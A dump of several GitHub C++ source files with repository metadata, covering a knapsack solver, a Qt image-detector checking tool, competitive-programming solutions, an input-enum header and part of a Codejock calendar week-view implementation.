for (; s >= 0; --s) {
if (det(p - z - 1, w - c, is[s].p, is[s].w) < 0) return;
expbranch(p - is[s].p, w - is[s].w, s - 1, t);
}
}
}
T solve() {
sort(all(is), [](const item &a, const item &b) {
return a.p * b.w > a.w * b.p;
});
T p = 0, w = 0;
z = 0;
int b = 0;
for (; b < is.size() && w <= c; ++b) {
p += is[b].p;
w += is[b].w;
}
expbranch(p, w, b-1, b);
return z;
}
};
int main() {
int s, n;
scanf("%d %d", &s, &n);
knapsack<int> solver;
solver.c = s;
for (int i = 0; i < n; ++i) {
int v, w;
scanf("%d %d", &w, &v);
solver.add_item(v, w);
}
printf("%d\n", solver.solve());
}
| [
"noreply@github.com"
] | sahil-rajput.noreply@github.com |
7538ade1efd0c9ed445a413844b7a080155dedb8 | 72e51eaf7ff10abd36b9fb81aa16aaac0953a882 | /prj.objed/objedcheck/src/objedcheck.cpp | 3f641a976c930c0d01a292d8c04fc57bc6b99c86 | [
"BSD-2-Clause"
] | permissive | usilinsergey/objed | 8f4fe614d8ecfe66f091e8b58996d2a3959f3262 | a5d0c82382a6546d5d4c649f153eec94c4ade0ee | refs/heads/master | 2020-06-01T12:09:28.075259 | 2017-04-07T17:00:41 | 2017-04-07T17:00:41 | 32,329,583 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 11,358 | cpp | /*
Copyright (c) 2011-2013, Sergey Usilin. All rights reserved.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY COPYRIGHT HOLDERS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
SHALL COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The views and conclusions contained in the software and documentation are those
of the authors and should not be interpreted as representing official policies,
either expressed or implied, of copyright holders.
*/
#include <QtConcurrent/QtConcurrent>
#include <QGraphicsTextItem>
#include <QProgressDialog>
#include <QGraphicsScene>
#include <QProgressBar>
#include <QApplication>
#include <QInputDialog>
#include <QMessageBox>
#include <QFileDialog>
#include <QStatusBar>
#include <QSettings>
#include <QFuture>
#include <QEvent>
#include <objedutils/objedimage.h>
#include <objedutils/objedsys.h>
#include <objedutils/objedexp.h>
#include <objedutils/objedio.h>
#include <objed/objed.h>
#include "imageviewdock.h"
#include "objedcheck.h"
ObjedCheck::ObjedCheck(QWidget *parent /*= 0*/, Qt::WindowFlags flags /*= 0*/) :
QMainWindow(parent, flags)
{
setupUi(this);
installEventFilter(this);
//////////////////////////////////////////////////////////////////////////
// Setup MenuBar
imageListDock->toggleViewAction()->setShortcut(QString("Alt+1"));
viewMenu->addAction(imageListDock->toggleViewAction());
propertiesDock->toggleViewAction()->setShortcut(QString("Alt+2"));
viewMenu->addAction(propertiesDock->toggleViewAction());
consoleDock->toggleViewAction()->setShortcut(QString("Alt+3"));
viewMenu->addAction(consoleDock->toggleViewAction());
//////////////////////////////////////////////////////////////////////////
// Setup Preview
preview->setScene(new QGraphicsScene(preview));
//////////////////////////////////////////////////////////////////////////
// Load Settings
QSettings settings;
if (settings.contains("MainWindow/Geometry")) setGeometry(settings.value("MainWindow/Geometry").toRect());
if (settings.contains("MainWindow/State")) restoreState(settings.value("MainWindow/State").toByteArray());
detectorLine->setText(settings.value("Properties/Detector").toString());
minPowerBox->setValue(settings.value("Properties/MinPower").toInt());
QMetaObject::invokeMethod(this, "updateDetectorSettings", Qt::QueuedConnection);
}
ObjedCheck::~ObjedCheck()
{
QSettings settings;
settings.setValue("MainWindow/Geometry", geometry());
settings.setValue("MainWindow/State", saveState());
settings.setValue("Properties/Detector", detectorLine->text());
settings.setValue("Properties/MinPower", minPowerBox->value());
}
void ObjedCheck::onOpenImageAction()
{
QSettings settings;
QString imagePath = settings.value("LastImagePath").toString();
QString imageDirPath = QFileInfo(imagePath).absoluteDir().absolutePath();
QString filter = QString("Images (%0)").arg( ObjedSys::imageFilters().join(' '));
QFileDialog::Options options = QFileDialog::DontUseNativeDialog | QFileDialog::DontResolveSymlinks;
imagePath = QFileDialog::getOpenFileName(this, QString(), imageDirPath, filter, 0, options);
if (imagePath.isEmpty() == true)
return;
settings.setValue("LastImagePath", imagePath);
imageDir.setPath(QFileInfo(imagePath).absoluteDir().path());
this->preview->scene()->clear();
this->imageList->clear();
this->imageList->addItem(QFileInfo(imagePath).fileName());
if (this->imageList->count() > 0)
this->imageList->setCurrentRow(0);
}
void ObjedCheck::onOpenImageDirAction()
{
QSettings settings;
QString imageDirPath = settings.value("LastImageDirPath").toString();
QFileDialog::Options options = QFileDialog::DontUseNativeDialog | QFileDialog::ShowDirsOnly;
imageDirPath = QFileDialog::getExistingDirectory(this, QString(), imageDirPath, options);
if (imageDirPath.isEmpty() == true)
return;
settings.setValue("LastImageDirPath", imageDirPath);
imageDir.setPath(imageDirPath);
this->preview->scene()->clear();
this->imageList->clear();
this->imageList->addItems(imageDir.entryList(ObjedSys::imageFilters()));
if (this->imageList->count() > 0)
this->imageList->setCurrentRow(0);
}
void ObjedCheck::onOpenImageViewAction()
{
QString title = "Open Image View";
QString label = "Please, enter the image id:";
QString imageIdLine = QInputDialog::getText(this, title, label, QLineEdit::Normal);
if (imageIdLine.isEmpty() == true)
return;
ImageViewDock *imageViewDock = new ImageViewDock(this);
imageViewDock->setImageView(imageIdLine);
addDockWidget(Qt::LeftDockWidgetArea, imageViewDock);
imageViewList.append(imageViewDock);
QApplication::processEvents();
imageViewDock->setFloating(true);
}
void ObjedCheck::onChangeImageAction()
{
if (this->imageList->count() <= 0)
return;
QObject *sender = QObject::sender();
int index = this->imageList->currentRow();
index = sender == firstImageAction ? 0 : sender == previousImageAction ?
index - 1 : sender == nextImageAction ? index + 1 : imageList->count() - 1;
this->imageList->setCurrentRow(qBound(0, index, imageList->count() - 1));
}
void ObjedCheck::onRefreshAction()
{
updateDetectorSettings();
if (this->imageList->currentItem() != 0)
processImage(this->imageList->currentItem()->text());
}
void ObjedCheck::onAboutAction()
{
QString title = tr("About ObjedCheck");
QString text = tr("This application is designed to check classifiers");
QString fullText = "<h3>%0 (ver. %1)</h3<p>%2</p>";
fullText = fullText.arg(QApplication::applicationName());
fullText = fullText.arg(QApplication::applicationVersion());
fullText = fullText.arg(text.simplified());
QMessageBox::about(this, title, fullText);
}
void ObjedCheck::onChooseDetectorClicked()
{
QSettings settings;
QString detectorDirPath = settings.value("LastDetectorDirPath").toString();
QFileDialog::Options options = QFileDialog::DontUseNativeDialog | QFileDialog::DontResolveSymlinks;
QString detectorPath = QFileDialog::getOpenFileName(this, QString(), detectorDirPath,
QString("Detector Files (*.json)"), 0, options);
if (detectorPath.isEmpty() == true)
return;
detectorDirPath = QFileInfo(detectorPath).absolutePath();
settings.setValue("LastDetectorDirPath", detectorDirPath);
detectorLine->setText(detectorPath);
updateDetectorSettings();
}
void ObjedCheck::onClearDetectorClicked()
{
detectorLine->clear();
updateDetectorSettings();
}
void ObjedCheck::refreshTimer()
{
timer.restart();
}
void ObjedCheck::info(const QString &msg)
{
console->setTextColor(Qt::black);
console->append(QString("%0 (%1 ms)").arg(msg).arg(timer.elapsed()));
}
void ObjedCheck::error(const QString &msg)
{
console->setTextColor(Qt::red);
console->append(QString("%0 (%1 ms)").arg(msg).arg(timer.elapsed()));
}
void ObjedCheck::updateDetectorSettings()
{
try
{
refreshTimer();
if (detectorLine->text().isEmpty() == false)
{
QFuture<QSharedPointer<objed::Detector> > loadClFuture;
loadClFuture = QtConcurrent::run(ObjedIO::loadDetector, detectorLine->text());
QProgressDialog progressDialog(this);
progressDialog.setLabelText("Loading detector");
progressDialog.setAutoClose(false);
progressDialog.setRange(0, 0);
progressDialog.show();
QCoreApplication::processEvents();
while (loadClFuture.isFinished() == false)
{
QCoreApplication::processEvents();
if (progressDialog.wasCanceled())
return;
}
detector = loadClFuture.result();
// clusterer.clear();
// if (clusterMode->currentIndex() > 0)
// clusterer = ObjedClusterer::create(clusterMode->currentText(), clusterParams->text());
}
}
catch(ObjedException ex)
{
error(ex.details());
}
}
void ObjedCheck::processImage(const QString &imageName)
{
this->console->clear();
this->preview->scene()->clear();
if (imageName.isEmpty() == true)
return;
objed::DetectionList detectionList;
QSharedPointer<ObjedImage> image;
try
{
//////////////////////////////////////////////////////////////////////////
// Loading image
refreshTimer();
image = ObjedImage::create(imageDir.absoluteFilePath(imageName));
info(QString("Image %0 has been loaded").arg(imageName));
//////////////////////////////////////////////////////////////////////////
// Detecting objects
if (detector.isNull() == false)
{
refreshTimer();
detectionList = detector->detect(image->image());
info(QString("%0 object(s) have been detected").arg(detectionList.size()));
}
}
catch (ObjedException ex)
{
error(ex.details());
}
//////////////////////////////////////////////////////////////////////////
// Draw Image
preview->scene()->addPixmap(image->toQPixmap());
preview->setSceneRect(0, 0, image->width(), image->height());
preview->fitInView(preview->sceneRect(), Qt::KeepAspectRatio);
//////////////////////////////////////////////////////////////////////////
// Draw Detections
for (size_t i = 0; i < detectionList.size(); i++)
{
if (detectionList[i].power < minPowerBox->value())
continue;
preview->scene()->addRect(detectionList[i].x, detectionList[i].y,
detectionList[i].width, detectionList[i].height, QPen(Qt::red));
QGraphicsTextItem *text = preview->scene()->addText(QString::number(detectionList[i].power));
text->setPos(detectionList[i].x + 0.5, detectionList[i].y + 0.5);
text->setFont(QFont("Courier", 6)); text->setDefaultTextColor(Qt::red);
}
//////////////////////////////////////////////////////////////////////////
// Draw ImageView
QSharedPointer<objed::ImagePool> imagePool(
objed::ImagePool::create(), objed::ImagePool::destroy);
imagePool->update(image->image());
foreach(ImageViewDock *imageView, imageViewList)
if (imageView->isHidden()) imageViewList.removeAll(imageView);
foreach(ImageViewDock *imageView, imageViewList)
imageView->refreshImageView(imagePool.data());
}
bool ObjedCheck::eventFilter(QObject *object, QEvent *event)
{
if (object == this && event->type() == QEvent::Resize)
this->preview->fitInView(this->preview->sceneRect(), Qt::KeepAspectRatio);
return QMainWindow::eventFilter(object, event);
}
| [
"usilin.sergey@gmail.com"
] | usilin.sergey@gmail.com |
888fdcaa2758dbc0a9337dd10762779769d274d8 | 050c8a810d34fe125aecae582f9adfd0625356c6 | /scc/level6.cpp | 0ca08c5403fa0e2952f5c6bd1b0a9dd13d953e1b | [] | no_license | georgerapeanu/c-sources | adff7a268121ae8c314e846726267109ba1c62e6 | af95d3ce726325dcd18b3d94fe99969006b8e138 | refs/heads/master | 2022-12-24T22:57:39.526205 | 2022-12-21T16:05:01 | 2022-12-21T16:05:01 | 144,864,608 | 11 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,791 | cpp | #include <bits/stdc++.h>
#include <chrono>
using namespace std;
mt19937 gen(0);
struct user_t{
int id;
int rating;
user_t(){
id = 0;
rating = 0;
}
bool operator < (const user_t &other)const {
if(this->rating != other.rating){
return this->rating > other.rating;
}
return id < other.id;
}
};
vector<user_t> player;
int max_elo_diff,score_thresh;
struct team_t{
vector<pair<int,int> > fst;
vector<pair<int,int> > snd;
team_t(int team_size){
for(int i = 0;i < team_size;i++){
fst.push_back({0,0});
scanf("%d %d\n",&fst.back().first,&fst.back().second);
}
for(int i = 0;i < team_size;i++){
snd.push_back({0,0});
scanf("%d %d\n",&snd.back().first,&snd.back().second);
}
}
void process_a_game(user_t &a,user_t &b,int winA){
long double e_a;
int k = 32;
e_a = ((long double)1) / (1 + pow(10,(b.rating - a.rating) / ((long double)400)));
a.rating += k * (winA - e_a);
b.rating += k * ((1 - winA) - (1 - e_a));
}
void process_game(){
int win_fst = 0;
int rating_sum_fst = 0;
int rating_sum_snd = 0;
for(auto it:fst){
win_fst += it.second;
rating_sum_fst += player[it.first].rating;
}
for(auto it:snd){
win_fst -= it.second;
rating_sum_snd += player[it.first].rating;
}
win_fst = (win_fst > 0);
for(auto it:fst){
int opp_rating = rating_sum_snd - rating_sum_fst + player[it.first].rating;
user_t opp;
opp.id = 0;
opp.rating = opp_rating;
process_a_game(player[it.first],opp,win_fst);
}
for(auto it:snd){
int opp_rating = rating_sum_fst - rating_sum_snd + player[it.first].rating;
user_t opp;
opp.id = 0;
opp.rating = opp_rating;
process_a_game(player[it.first],opp,1 - win_fst);
}
}
};
struct match_t{
int sz;
vector<int> players;
match_t(){
sz = 0;
players = vector<int>();
}
match_t(int team_size,vector<int> players){
this->sz = team_size;
assert(team_size * 2 == (int)players.size());
this->players = players;
}
int cost(){
int diff = 0;
for(int i = 0;i < sz;i++){
diff += player[players[i]].rating;
}
for(int i = 0;i < sz;i++){
diff -= player[players[sz + i]].rating;
}
return abs(diff);
}
int find_minimum_score(){
int diff = 0;
for(int i = 0;i < sz;i++){
diff += player[players[i]].rating;
}
for(int i = 0;i < sz;i++){
diff -= player[players[sz + i]].rating;
}
for(int i = 1;i <= 400;i++){
int a = gen() % sz;
int b = sz + (gen() % sz);
if(abs(diff - 2 * player[players[a]].rating + 2 * player[players[b]].rating) < abs(diff) + (gen() % 30)){
diff += 2 * (player[players[b]].rating - player[players[a]].rating);
swap(players[a],players[b]);
}
}
return abs(diff);
}
bool valid(){
int mi = 1e9;
int ma = -1e9;
for(auto it:players){
mi = min(mi,player[it].rating);
ma = max(ma,player[it].rating);
}
return ma - mi <= max_elo_diff;
}
int try_exchange(match_t &other){
vector<int> b1,b2;
b1 = this->players;
b2 = other.players;
int b1_diff = this->cost();
int b2_diff = other.cost();
for(int i = 0;i <= 100;i++){
int a = gen() % (2 * sz);
int b = gen() % (2 * sz);
swap(this->players[a],other.players[b]);
int tmp_1 = this->find_minimum_score();
int tmp_2 = other.find_minimum_score();
if(this->valid() && other.valid() && b1_diff + b2_diff > tmp_1 + tmp_2){
return (tmp_1 + tmp_2) - (b1_diff +b2_diff);
}
this->players = b1;
other.players = b2;
}
return 0;
}
};
int n,m;
int team_size;
int main(){
gen = mt19937(chrono::steady_clock::now().time_since_epoch().count());
scanf("%d %d %d",&m,&n,&team_size);
player = vector<user_t>(n,user_t());
for(int i = 0;i < n;i++){
player[i].id = i;
player[i].rating = 1000;
}
for(int i = 1;i <= m;i++){
team_t(team_size).process_game();
}
scanf("%d %d",&max_elo_diff,&score_thresh);
int cnt;
scanf("%d",&cnt);
vector<int> q;
for(int i = 1;i <= cnt;i++){
int id;
scanf("%d",&id);
q.push_back(id);
}
sort(q.begin(),q.end());
vector<match_t> matches;
int score = 0;
for(int i = 0;i < (int)q.size();i += 2 * team_size){
vector<int> tmp;
for(int j = 0;j < 2 * team_size;j++){
tmp.push_back(q[i + j]);
}
matches.push_back(match_t(team_size,tmp));
score += matches.back().find_minimum_score();
}
fprintf(stderr,"init score is %d\n",score);
for(auto it:player){
fprintf(stderr,"deb %d %d\n",it.id,it.rating);
}
while(score > score_thresh){
for(int i = 0;i + 1 < (int)matches.size();i++){
score += matches[i].try_exchange(matches[i + 1]);
}
fprintf(stderr,"now score is %d\n",score);
}
fprintf(stderr,"done score is %d\n",score);
for(auto it:matches){
for(int i = 0;i < 2 * team_size;i++){
printf("%d ",it.players[i]);
}
printf("\n");
}
return 0;
}
| [
"alexandrurapeanu@yahoo.com"
] | alexandrurapeanu@yahoo.com |
816aa86ad957f14efb05f6bbed85bd5c31386e4c | c34a4bb67fb50f1e8225715aced4f7b30df190f8 | /DYNAMIC PROGRAMMNIG/k_palindrome.cpp | 311d673613fe5a6eb25e6ff5ef4a2dbc277bf28e | [] | no_license | NarenMadham/Problem-Solving-Using-Data-Structures-and-Algorithms | cbf3a74e1a64ecda0ab12636f0130c3c8bb0c1cb | 53ca7d30d24f26f3ba85ba2d8e8e368490f86574 | refs/heads/master | 2020-09-14T15:00:51.574525 | 2019-12-09T13:40:32 | 2019-12-09T13:40:32 | 223,162,879 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 687 | cpp | #include<bits/stdc++.h>
using namespace std;
int main(){
int t;
cin>>t;
while(t--){
int n, k;
cin>>n>>k;
string a;
cin>>a;
int dp[n][n];
memset(dp, 0, sizeof(dp));
for(int i=0;i<n;i++){
dp[i][i] = 1;
}
for(int l=2;l<=n;l++){
for(int i=0;i<n-l+1; i++){
int j = i + l - 1;
if(a[i] == a[j]){
dp[i][j] = dp[i+1][j-1] + 2;
}else{
dp[i][j] = max(dp[i+1][j], dp[i][j-1]);
}
}
}
if(n - dp[0][n-1] <= k){
cout<<1<<endl;
}else{
cout<<0<<endl;
}
}
return 0;
} | [
"noreply@github.com"
] | NarenMadham.noreply@github.com |
5e894cae9e8d3c452f6afdde5a046d8862f370fa | 526cf99ff47dfd23ac712985e3335a91b9a53ba5 | /Workspace/CF/Edu/round_84/C.cpp | 6491adaba3d841f37cc91bd61150c887bf501e9b | [] | no_license | Nuwaisir-1998/CP-Algorithms | 561b6bafa5691c11ea8b4cedfbce7631304fad14 | cb026085bfa8f1bc1d9306b8fc682abdd81647c1 | refs/heads/master | 2023-08-04T11:20:35.649570 | 2022-01-02T04:40:30 | 2022-01-02T04:40:30 | 219,820,736 | 2 | 2 | null | 2023-08-16T10:56:38 | 2019-11-05T18:14:51 | C++ | UTF-8 | C++ | false | false | 2,664 | cpp | #include <bits/stdc++.h>
#include <ext/pb_ds/assoc_container.hpp>
#include <ext/pb_ds/tree_policy.hpp>
#include <ext/numeric>
using namespace std;
using namespace __gnu_pbds;
using namespace __gnu_cxx;
#define ordered_set tree<int, null_type,less<int>, rb_tree_tag,tree_order_statistics_node_update>
typedef long long ll;
typedef vector<int> vi;
typedef vector<ll> vll;
typedef pair<ll, ll> pll;
typedef vector<pll> vpll;
#define all(x) (x).begin(), (x).end()
#define MOD 1000000007
#define PI acos(-1)
#define MAXN 200005
#define INF 1000000000000000000
#define nl '\n'
#define MAX(x) *max_element(all(x))
#define MIN(x) *min_element(all(x))
template <typename T>
void printv(vector<T> &v){for (auto e : v) cout << e << ' ';cout << '\n';}
struct custom_hash {
// to make unordered map safe
static uint64_t splitmix64(uint64_t x) {
// http://xorshift.di.unimi.it/splitmix64.c
x += 0x9e3779b97f4a7c15;
x = (x ^ (x >> 30)) * 0xbf58476d1ce4e5b9;
x = (x ^ (x >> 27)) * 0x94d049bb133111eb;
return x ^ (x >> 31);
}
size_t operator()(uint64_t x) const {
static const uint64_t FIXED_RANDOM = chrono::steady_clock::now().time_since_epoch().count();
return splitmix64(x + FIXED_RANDOM);
}
};
unordered_map<ll, ll, custom_hash> safe_map;
gp_hash_table<ll, ll, custom_hash> safe_hash_table;
void pr(char ch, ll n){
for(int i=0;i<n;i++){
cout << ch;
}
}
void solve(){
ll n, m, k, i, j;
cin >> n >> m >> k;
vector<ll> sx(k), sy(k), fx(k), fy(k);
for(i=0;i<k;i++){
cin >> sx[i] >> sy[i];
}
ll right = 0;
ll left = 0;
ll up = 0;
ll down = 0;
for(i=0;i<k;i++){
cin >> fx[i] >> fy[i];
// if(fx[i] > sx[i]) down = max(down, fx[i] - sx[i]);
// else up = max(up, sx[i] - fx[i]);
// if(fy[i] > sy[i]) right = max(right, fy[i] - sy[i]);
// else left = max(left, sy[i] - fy[i]);
}
// if(up + down + left + right > 2*n*m){
// cout << -1 << '\n';
// return;
// }
cout << m - 1 + n - 1 + n*m << "\n";
pr('U', n-1);
pr('L', m-1);
for(i=0;i<n;i++){
if(i % 2 == 0){
// right
pr('R', m-1);
pr('D', 1);
}else{
pr('L', m-1);
pr('D', 1);
}
}
// pr('R', right);
// pr('L', left);
cout << "\n";
}
int main()
{
ios::sync_with_stdio(false);
#ifndef ONLINE_JUDGE
freopen("in", "r", stdin);
freopen("out", "w", stdout);
#endif // ONLINE_JUDGE
ll tt = 1;
// cin >> tt;
// ll cs = 1;
while (tt--)
solve();
return 0;
} | [
"1605091@ugrad.cse.buet.ac.bd"
] | 1605091@ugrad.cse.buet.ac.bd |
967759a38733759b5e84883665c5a29ddc6894e1 | c4e4b570b1a91495a89c939e876dcd38c7b6247f | /include/core/input/inputconstants.h | facae1b629668283598bbc7f12c8ee5d57025ed7 | [
"Apache-2.0"
] | permissive | texel-sensei/eversim | 5392bc1f4bd5443a2bd8c25e44725acb84af5705 | 187262756186add9ee8583cbaa1d3ef9e6d0aa53 | refs/heads/master | 2021-06-01T10:21:27.586634 | 2020-09-08T15:10:38 | 2020-09-08T15:16:12 | 96,086,158 | 0 | 0 | Apache-2.0 | 2020-09-08T15:16:13 | 2017-07-03T08:07:25 | C++ | UTF-8 | C++ | false | false | 613 | h | #pragma once
#include "enum.h"
/*
* Enums for every possible action in every context
*/
namespace eversim { namespace core { namespace input {
namespace InputConstants
{
BETTER_ENUM(button, uint8_t,
CONFIRM = 0,
BACK,
JUMP,
DOUBLEJUMP,
MENU,
FART_LEFT,
FART_RIGHT,
DLEFT,
DRIGHT,
DUP,
DDOWN,
DROP,
INVALID
)
BETTER_ENUM(state, uint8_t,
DUCK = 0,
GOLEM,
DROP,
INVALID
)
BETTER_ENUM(range, uint8_t,
STEER_X = 0,
STEER_Y,
DROP,
INVALID
)
BETTER_ENUM(input_type, uint8_t,
BUTTON = 0,
STATE,
RANGE,
INVALID
)
}
}}} | [
"lukasac@gmx.de"
] | lukasac@gmx.de |
3f3c0761add48b14bd87f5d091f07088e78ea97e | 4f4ddc396fa1dfc874780895ca9b8ee4f7714222 | /src/xtp/Source/Calendar/XTPCalendarWeekViewDay.cpp | 275e32ffc40191f1831b4cc0fe03e60079b1b977 | [] | no_license | UtsavChokshiCNU/GenSym-Test2 | 3214145186d032a6b5a7486003cef40787786ba0 | a48c806df56297019cfcb22862dd64609fdd8711 | refs/heads/master | 2021-01-23T23:14:03.559378 | 2017-09-09T14:20:09 | 2017-09-09T14:20:09 | 102,960,203 | 3 | 5 | null | null | null | null | UTF-8 | C++ | false | false | 7,375 | cpp | // XTPCalendarMonthViewDay.cpp: implementation of the CXTPCalendarMonthViewDay class.
//
// This file is a part of the XTREME CALENDAR MFC class library.
// (c)1998-2011 Codejock Software, All Rights Reserved.
//
// THIS SOURCE FILE IS THE PROPERTY OF CODEJOCK SOFTWARE AND IS NOT TO BE
// RE-DISTRIBUTED BY ANY MEANS WHATSOEVER WITHOUT THE EXPRESSED WRITTEN
// CONSENT OF CODEJOCK SOFTWARE.
//
// THIS SOURCE CODE CAN ONLY BE USED UNDER THE TERMS AND CONDITIONS OUTLINED
// IN THE XTREME TOOLKIT PRO LICENSE AGREEMENT. CODEJOCK SOFTWARE GRANTS TO
// YOU (ONE SOFTWARE DEVELOPER) THE LIMITED RIGHT TO USE THIS SOFTWARE ON A
// SINGLE COMPUTER.
//
// CONTACT INFORMATION:
// support@codejock.com
// http://www.codejock.com
//
/////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Resource.h"
#include "Common/XTPSmartPtrInternalT.h"
#include "Common/XTPColorManager.h"
#include "XTPCalendarUtils.h"
#include "XTPCalendarDefines.h"
#include "XTPCalendarPtrCollectionT.h"
#include "XTPCalendarNotifications.h"
#include "XTPCalendarView.h"
#include "XTPCalendarViewEvent.h"
#include "XTPCalendarViewDay.h"
#include "XTPCalendarViewPart.h"
#include "XTPCalendarWeekViewEvent.h"
#include "XTPCalendarWeekViewDay.h"
#include "XTPCalendarWeekView.h"
#include "XTPCalendarControl.h"
#include "XTPCalendarPaintManager.h"
#include "XTPCalendarTheme.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//////////////////////////////////////////////////////////////////////////
CXTPCalendarWeekViewGroup::CXTPCalendarWeekViewGroup(CXTPCalendarWeekViewDay* pViewDay)
: TBase(pViewDay)
{
}
CXTPCalendarWeekViewGroup::~CXTPCalendarWeekViewGroup()
{
}
void CXTPCalendarWeekViewGroup::FillHitTestEx(XTP_CALENDAR_HITTESTINFO* pHitTest) const
{
ASSERT(pHitTest && GetViewDay());
if (pHitTest && GetViewDay())
{
GetViewDay()->FillHitTestEx(pHitTest);
pHitTest->pViewGroup = (CXTPCalendarViewGroup*)this;
}
}
//////////////////////////////////////////////////////////////////////////
IMPLEMENT_DYNAMIC(CXTPCalendarWeekViewDay, CXTPCalendarViewDay)
CXTPCalendarWeekViewDay::CXTPCalendarWeekViewDay(CXTPCalendarWeekView* pWeekView)
: TBase(pWeekView)
{}
CXTPCalendarWeekViewDay::~CXTPCalendarWeekViewDay()
{
}
void CXTPCalendarWeekViewDay::FillHitTestEx(XTP_CALENDAR_HITTESTINFO* pInfo) const
{
ASSERT(pInfo);
if (!pInfo)
{
return;
}
pInfo->dt = m_dtDate;
pInfo->pViewDay = (CXTPCalendarViewDay*)this;
pInfo->uHitCode = xtpCalendarHitTestEvent_Mask;
}
BOOL CXTPCalendarWeekViewDay::HitTestEx(CPoint pt, XTP_CALENDAR_HITTESTINFO* pHitTest) const
{
if (!pHitTest) {
ASSERT(FALSE);
return FALSE;
}
if (m_Layout.m_rcExpandSign.PtInRect(pt))
{
if (XTP_SAFE_GET4(GetView(), GetTheme(), GetWeekViewPart(), GetDayPart(),
HitTestExpandDayButton(this, &pt), 0))
{
FillHitTestEx(pHitTest);
pHitTest->uHitCode = xtpCalendarHitTestDayExpandButton;
return TRUE;
}
}
return TBase::HitTestEx(pt, pHitTest);
}
void CXTPCalendarWeekViewDay::AdjustLayout(CDC* pDC, const CRect& rcDay)
{
if (!GetView() || !pDC)
{
ASSERT(FALSE);
return;
}
int nHeaderHeight = GetView()->GetDayHeaderHeight();
m_Layout.m_rcDay.CopyRect(&rcDay);
m_Layout.m_rcDayHeader.CopyRect(&rcDay);
m_Layout.m_rcDayHeader.bottom = m_Layout.m_rcDayHeader.top + nHeaderHeight;
m_Layout.m_rcDayHeader.DeflateRect(1, 1, 1, 0);
CRect rcDayEvents = rcDay;
rcDayEvents.DeflateRect(1, nHeaderHeight, 1, 1);
//-------------------------------------
int nGroups = GetViewGroupsCount();
ASSERT(nGroups == 1);
CXTPCalendarViewGroup* pViewGroup = nGroups ? GetViewGroup_(0) : NULL;
ASSERT(pViewGroup);
if (pViewGroup)
{
pViewGroup->AdjustLayout(pDC, rcDayEvents);
}
}
void CXTPCalendarWeekViewDay::AdjustLayout2(CDC* pDC, const CRect& rcDay)
{
TBase::AdjustLayout(pDC, rcDay);
XTP_SAFE_CALL4(GetView(), GetTheme(), GetWeekViewPart(), GetDayPart(), AdjustLayout(this, pDC, rcDay));
}
void CXTPCalendarWeekViewDay::Draw(CDC* pDC)
{
//-- Draw Events (Group) -----------------
int nGroups = GetViewGroupsCount();
ASSERT(nGroups == 1);
CXTPCalendarViewGroup* pViewGroup = nGroups ? GetViewGroup_(0) : NULL;
ASSERT(pViewGroup);
if (pViewGroup)
{
pViewGroup->Draw(pDC);
}
if (NoAllEventsAreVisible())
{
XTP_SAFE_CALL2(GetView(), GetPaintManager(),
DrawBitmap(XTP_IDB_CALENDAR_EXPANDSIGNDOWN, pDC, GetExpandSignRect()) );
}
}
CRect CXTPCalendarWeekViewDay::GetDayEventsRect() const
{
int nColHeaderHeight = XTP_SAFE_GET1(GetView(), GetRowHeight(), 0);
CRect rcDayEvents = m_Layout.m_rcDay;
//rcDayEvents.bottom -= min(2, rcDayEvents.Height());
rcDayEvents.top += min(nColHeaderHeight + 0, rcDayEvents.Height());
int nBotSpace = XTP_SAFE_GET5(GetView(), GetCalendarControl(), GetTheme(),
GetWeekViewPart(), GetDayPart(), GetExpandButtonHeight(), 0);
rcDayEvents.bottom -= min(nBotSpace + 2, rcDayEvents.Height());
return rcDayEvents;
}
BOOL CXTPCalendarWeekViewDay::OnLButtonDown(UINT nFlags, CPoint point)
{
if (!GetView() || !GetCalendarControl())
{
ASSERT(FALSE);
return FALSE;
}
if (GetView()->GetTheme())
{
if (XTP_SAFE_GET4(GetView(), GetTheme(), GetWeekViewPart(), GetDayPart(),
OnLButtonDown(this, nFlags, point), FALSE))
{
return TRUE;
}
}
else if (m_Layout.m_rcExpandSign.PtInRect(point))
{
if (UserAction_OnExpandDay(xtpCalendarExpandDayButton_WeekView))
return TRUE;
XTP_SAFE_CALL1(GetCalendarControl(), QueueDayViewSwitch(GetDayDate()));
return TRUE;
}
return TBase::OnLButtonDown(nFlags, point);
}
void CXTPCalendarWeekViewDay::OnMouseMove(UINT nFlags, CPoint point)
{
if (GetView() && GetView()->GetTheme() && GetView()->GetTheme()->GetWeekViewPart() &&
GetView()->GetTheme()->GetWeekViewPart()->GetDayPart())
GetView()->GetTheme()->GetWeekViewPart()->GetDayPart()->OnMouseMove(this, nFlags, point);
TBase::OnMouseMove(nFlags, point);
}
CString CXTPCalendarWeekViewDay::GetCaption() const
{
if (!GetView() || !GetCalendarControl())
{
ASSERT(FALSE);
return _T("");
}
CString strHeaderFormat = GetView()->GetDayHeaderFormat();
if (strHeaderFormat == _T("MMMM d"))
strHeaderFormat = _T("dddd MMMM dd");
else if (strHeaderFormat == _T("d MMMM"))
